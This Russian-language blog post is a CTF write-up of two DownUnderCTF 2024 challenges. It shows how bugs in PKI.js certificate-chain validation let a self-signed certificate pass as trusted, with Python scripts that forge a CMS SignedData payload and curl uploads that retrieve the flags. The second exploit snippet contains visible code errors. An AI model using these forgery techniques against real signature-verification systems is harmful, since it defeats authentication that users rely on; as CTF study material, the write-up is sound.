Рустам Гусейнов

председатель кооператива РАД КОП

Мы продолжаем цикл экспериментальных материалов с разбором задачек на CTF, сделанных силами нашего товарища Ратмира Карабута. С предыдущим материалом можно ознакомиться по ссылке. Ну а мы, по сложившейся традиции, немного «уйдем в мету» и напомним об ещё одной хорошей книге. А именно о «Суперобучении» Скотта Янга (в оригинале «Ultralearning»).

Скотт Янг и его книга "Суперобучение"
Скотт Янг и его книга "Суперобучение"

Почему эта книга так важна, и как она связана с проблематикой CTF? Часто у людей существуют ограничивающие их развитие убеждения в духе: я не способен к языкам, а значит не могу писать эксплойты; у меня плохие знания математики, а значит я никогда не стану криптографом; я… (нужное подчеркнуть). Скотт Янг, прошедший 4-х летний курс бакалавра Computer Science в MIT за 1 год (знаменитый Массачусетскихй технологический институт, аналогичный отечественному МФТИ) убедительно показывает, что при правильно поставленном подходе к обучению (и самообучению) не существует непреодолимых преград. И если какие-то классы задач кажутся сложными и даже невозможными, не стоит фрустрировать и сдаваться. Необходим план превращения нерешаемой проблемы в понятную задачу. И здесь одним из элементов подготовки является так называемый drilling, когда вы, подобно спортсмену оттачивающему технику доводите до совершенства особенно трудный для вас элемент практики или теоретический блок. Поэтому продолжим наше путешествие, дальше будет ещё веселее =)

Рассмотрим два связанных между собой задания DownUnderCTF 2024, требующих обмана реальной криптографической библиотеки PKI.js - в них разобралось мало команд (у второго набралось всего одно решение), и, хотя я сам не успел закончить работу над ними во время соревнования, изящность и реалистичность уязвимостей делает их хорошими кандидатами для подробного разбора.

pkijs< - medium (203 points, 7 solves)

Материалы задания.

В описании нам дается подсказка - по-видимому, в версии 3.0.15 PKI.js, используемой в эксплуатируемом сервисе, присутствует некоторая ошибка валидации сертификатов. Доверимся ей и для начала проверим на гитхабе изменения PKI.js с версии 3.0.15 до текущей 3.1.0:

Comparing v3.0.15...v3.1.0 · PeculiarVentures/PKI.js · GitHub

Среди коммитов быстро находится интересный, а в пуллреквесте к нему видим предположение о некорректности валидации при передаче нескольких сертификатов:

Коммит поправляет классический недосмотр - модификацию массива во время его перебора - в трех местах кода; нас особенно интересует эта часть функции defaultFindIssuer(), вызываемой (как findIssuer()) из verify():

    ...
    // Now perform certificate verification checking
    for (let i = 0; i < result.length; i++) {
      try {
        const verificationResult = await certificate.verify(result[i], crypto);
        if (verificationResult === false)
          result.splice(i, 1);
      }
      catch (ex) {
        result.splice(i, 1); // Something wrong, remove the certificate
      }
    }
    return result;

Метод массива splice() сдвигает элементы на освободившееся место; это значит, что, если на момент верификации в конечном массиве result будет хотя бы два элемента, то после удаления некорректного первого проверка второго будет пропущена, так как его индекс изменится на 0, и result вернется непустым. По контексту можно понять, что для findIssuer() это будет означать предполагаемую валидность оставшихся в нем сертификатов в качестве issuer, то есть поставщика доверия, подтверждающего подлинность конечного сертификата.

Но из этого следует, что, просто указав неверного поставщика дважды, мы заставим библиотеку поверить в то, что он действительно корректно подтвердил подлинность - и выше в функции мы видим, что result заполняется возможными поставщиками как из переданного ранее в verify() списка доверенных, так и из приложенного конечным пользователем списка (предполагаемо) промежуточных сертификатов, то есть для этого должно быть достаточно внести в него уже переданный в trustedCerts корневой сертификат:

    // Search in Trusted Certificates
    for (const trustedCert of validationEngine.trustedCerts) {
      checkCertificate(trustedCert);
    }

    // Search in Intermediate Certificates
    for (const intermediateCert of validationEngine.certs) {
      checkCertificate(intermediateCert);
    }

Теперь разберемся собственно с атакуемым сервисом в index.js. Он принимает от нас структуру в формате CMS - Cryptographic Message Syntax - типа SignedData, в которой должно быть передано правильное сообщение (I can forge a signed message!), подписанное прилагаемым корневым сертификатом root.crt - или, так как в параметрах верификации прописано checkChain: true, любым сертификатом, заверенным с его помощью (то есть им самим или косвенно по цепочке) - предполагается, что такая цепочка сертификатов прилагается к SignedData.

Конечно, подделать подпись напрямую, не имея доступа к приватной части root.crt, мы не можем, но что если баг в библиотеке поможет нам заставить сервис принять произвольный сертификат за доверенный?

Для начала соорудим свой собственный сертификат - судя по всему, мы вполне можем подписать его своим же приватным ключом, не забыв указать при этом в поле удостоверяющего поставщика имя сертификата из root.crt. Полистав документацию к pycryptography.x509 и повозившись с необходимыми полями, изготавливаем то и другое:

from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import hashes, serialization
import datetime

root_cert = x509.load_pem_x509_certificate(open("./root.crt", "rb").read())
my_name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "hacker")])

privkey = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pubkey = privkey.public_key()

cert = x509.CertificateBuilder() \
    .issuer_name(root_cert.issuer) \
    .subject_name(my_name) \
    .public_key(pubkey) \
    .serial_number(x509.random_serial_number()) \
    .not_valid_before(datetime.datetime.today() - datetime.timedelta(days=1)) \
    .not_valid_after(datetime.datetime.today() + datetime.timedelta(days=1)) \
    .sign(private_key=privkey, algorithm=hashes.SHA256())

der = privkey.private_bytes(
    encoding=serialization.Encoding.DER,
    format=serialization.PrivateFormat.PKCS8,
    encryption_algorithm=serialization.NoEncryption()
)

open("my_key.der", "wb").write(der)
open("my_cert.crt", "wb").write(cert.public_bytes(serialization.Encoding.DER))

Сформировать требуемую структуру SignedData на пайтоне можно с помощью библиотеки asn1crypto, пользуясь в качестве вспомогательной информации о необходимых полях ее тестами (а также, неожиданно, примером формирования электронной подписи для CryptoPro отсюда). Не забудем аккуратно положить корневой сертификат сервиса рядом со своим, чтобы он попал в список дважды:

from asn1crypto import cms
from cryptography import x509
from cryptography.hazmat.primitives.serialization import load_der_private_key, Encoding
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import hashes

root_cert = x509.load_pem_x509_certificate(open("./root.crt", "rb").read())
my_cert = x509.load_der_x509_certificate(open("./my_cert.crt", "rb").read())

root_cert_der = root_cert.public_bytes(Encoding.DER)
my_cert_der = my_cert.public_bytes(Encoding.DER)

my_key = load_der_private_key(open("./my_key.der", "rb").read(), password=None)
message = b"I can forge a signed message!"
signature = my_key.sign(message, padding.PKCS1v15(), hashes.SHA256())
my_cert_key_id = cms.Certificate.load(my_cert_der).public_key.sha1

my_signed_data = cms.SignedData({
    "version": "v1",
    "encap_content_info": {
        "content_type": "data",
        "content": message
    },
    "certificates": [cms.CertificateChoices.load(cert) for cert in [my_cert_der, root_cert_der]],
    "signer_infos": [
        {
            "version": "v1",
            "digest_algorithm": {
                "algorithm": "sha256",
                "parameters": None
            },
            "signature_algorithm": {
                "algorithm": "sha256_rsa",
                "parameters": None
            },
            "signature": signature,
            "sid": cms.SignerIdentifier({
                "subject_key_identifier": my_cert_key_id
            })
        }
    ],
    "digest_algorithms": [
        {
            "algorithm": "sha256",
            "parameters": None
        }
    ],
})

my_content_info = cms.ContentInfo({
    "content_type": "signed_data",
    "content": my_signed_data
})

open("payload.data", "wb").write(my_content_info.dump())

Остается отправить подписанное сообщение по назначению, как требует сервис:

$ curl https://misc-pkijs-lt-e1e6cbc5ad29.2024.ductf.dev/upload -F cms=@./payload.data
DUCTF{nice_splice_sice_a69bdb8eb2ca9e1}⏎

Первый флаг получен!

pkijs= - medium (500 points, 1 solve)

Материалы задания.

В этом задании при идентичном сервисе PKI.js обновлена до 3.0.16, что устраняет предыдущий баг, но взамен автор вносит свой собственный, менее очевидный - к библиотеке приложен следующий патч:

--- a/node_modules/pkijs/build/index.js
+++ b/node_modules/pkijs/build/index.js
@@ -9256,7 +9256,7 @@ class Certificate extends PkiObject {
 }
 Certificate.CLASS_NAME = "Certificate";
 function checkCA(cert, signerCert = null) {
-    if (signerCert && cert.issuer.isEqual(signerCert.issuer) && cert.serialNumber.isEqual(signerCert.serialNumber)) {
+    if (signerCert && cert.issuer.isEqual(signerCert.issuer) && cert.serialNumber.isEqual(signerCert.serialNumber) && cert.signatureValue.isEqual(signerCert.signatureValue)) {
         return null;
     }
     let isCA = false;

По комментариям в коде вокруг этой проверки понятно, что она предназначена для того, чтобы подписавший сообщение сертификат не мог быть принят за центральный, даже если он обозначен соответствующим флагом CA (через расширение BasicConstraints, как можно прочитать ниже); интересно, что изменение усиливает эту проверку - если изначально, как видно, проверялось совпадение поставщика и серийного номера подписавшего, то теперь проверяется и совпадение подписи центра.

Как видим, checkCA() используется в одном месте verify():

      if (checkChain) {
        const certs = this.certificates.filter(certificate => (certificate instanceof Certificate && !!checkCA(certificate, signerCert))) as Certificate[];
        const chainParams: CertificateChainValidationEngineParameters = {
          checkDate,
          certs,
          trustedCerts,
        };

!! здесь (не ошибитесь, мне самому это в силу недостаточной привычки к js стоило некоторого времени при распутывании кода) означает двойное отрицание, используемое для того, чтобы привести значения к булевому типу - то есть приложенный к SignedData список сертификатов фильтруется таким образом на наличие в нем CA, чтобы все они, кроме конечного подписывающего (добавляемого позже последним), принадлежали к удостоверяющей цепочке.

Так как сама checkCA() релевантна только в этом месте, поищем, где еще проверяется parsedValue.CA - и действительно, в CertificateChainValidationEngine это делается позже в другом месте функцией checkForCA(), на этот раз без всякого учета подписавшего. checkForCA(), в свою очередь, используется только в двух местах - одно из них не представляет для нас интереса, поскольку касается не применяемых в нашем случае CRL, а второе повторно гарантирует, что все промежуточные сертификаты являются CA:

...
        const result = await checkForCA(cert);
        if (!result.result) {
          return {
            result: false,
            resultCode: 14,
            resultMessage: "One of intermediate certificates is not a CA certificate"
          };
        }

Что же необычного мы можем провернуть с дополненным таким образом условием checkCA()? Единственное, что приходит в голову - теперь, поменяв signatureValue (который так или иначе не прошел бы реальной проверки, поскольку сертификат самоподписан), мы добьемся того, чтобы в списке промежуточных оказался наш собственный сертификат - если у него к тому же есть признак CA.

Но чем нам может помочь собственный дублированный сертификат? Посмотрим на код, убирающий одинаковые (предположительно промежуточные) сертификаты из списка:

    //#region Check all certificates for been unique
    for (let i = 0; i < localCerts.length; i++) {
      for (let j = 0; j < localCerts.length; j++) {
        if (i === j)
          continue;

        if (pvtsutils.BufferSourceConverter.isEqual(localCerts[i].tbsView, localCerts[j].tbsView)) {
          localCerts.splice(j, 1);
          i = 0;
          break;
        }
      }
    }
    //#endregion

    const leafCert = localCerts[localCerts.length - 1]; 

    //#region Initial variables
    let result;
    const certificatePath = [leafCert]; // The "end entity" certificate must be the least in CERTS array
    //#endregion

Для проверки эквивалентности используется поле tbsView, не затрагивающее signatureValue - поэтому самоподписанный сертификат, попавший в localCerts дважды с разным signatureValue (как промежуточный и как конечный), зачтется как один и тот же.

Но ведь цикл убирает из списка правую копию! Это значит, что наш сертификат, встреченный дважды, будет убран с последнего места - и вместо него за конечный leafCert будет принят сертификат, идущий в списке прямо перед ним. Если это будет доверенный root.crt, то этого, вероятно, должно оказаться достаточно для того, чтобы обмануть проверку подлинности - из комментариев видно, что код не ожидает такой возможности.

Тем не менее, как это устроить? Если мы добавим в список root.crt, он будет удален еще до этого, так как идет в нем левее как часть trustedCerts. Но постойте, корректно ли сбрасывается i в цикле?

После i = 0; break цикл i перейдет на следующую итерацию и i будет инкрементировано до 1; вероятно, в нормальной ситуации для библиотеки это не так важно, ведь все, что изменится - появится возможность удаления левой копии вместо правой в некоторых обстоятельствах, поскольку j все так же будет перебирать весь список. Но в условиях нашего патча это именно то, что нужно - возьмем следующий порядок сертификатов:

  1. (trustedCerts) root

  2. my_cert (с измененным signatureValue)

  3. root

  4. root

  5. my_cert (подписавший)

Последуем логике цикла - первым будет убран сертификат 2; так как i сбросится не в 0, а в 1, следующим совпадением будет пара наших сертификатов и будет убран последний 4. i снова сбросится в 1, j в 0, и следующее совпадение root.crt уберет из списка первый сертификат, оставив два - наш и корневой, именно в таком порядке, и, соответственно, заставив библиотеку принять корневой за конечный.

Проверим эту теорию - во-первых, добавим к нашему сертификату флаг CA:

...
    .add_extension(x509.BasicConstraints(ca=True, path_length=None), critical=False)

Во-вторых, положим в список SignedData сертификаты в нужном порядке, испортив в первом вхождении секцию signatureData у нашего - оказывается, для этого достаточно подменить последние байты в DER:

...
"certificates": [cms.CertificateChoices.load(cert) for cert in 
    [my_cert_der[-4] + b'deadbeef', root_cert_der, root_cer_der, my_cert_der]
],
...    

Отдадим получившееся серверу:

$ curl https://misc-pkijs-eq-91b37b2852e3.2024.ductf.dev/upload -F cms=@./payload.data
DUCTF{deduplicate_and_decimate_07bca839bad0b201b9d}⏎  

Второй флаг наш!

Заключение

Хорошие задания на эксплуатацию реального софта встречаются не так часто, и минималистичность багов в особенности заслуживает уважения. К сожалению, второе задание, как видно по количеству решений, оказалось сложноватым даже для двухдневного цтфа - логике решения, описанной мной здесь, сопутствовали, конечно, немалые усилия в динамической отладке (к счастью, с контейнером в поставке заниматься ей было не так сложно, прикладывая к оригинальному патчу патч со щедро рассыпанными по библиотеке console.log()). В целом, австралийский DownUnder в этом году был отличным по качеству и оформлению - и, будем надеяться, сохранит планку и в будущем.

Комментарии (0)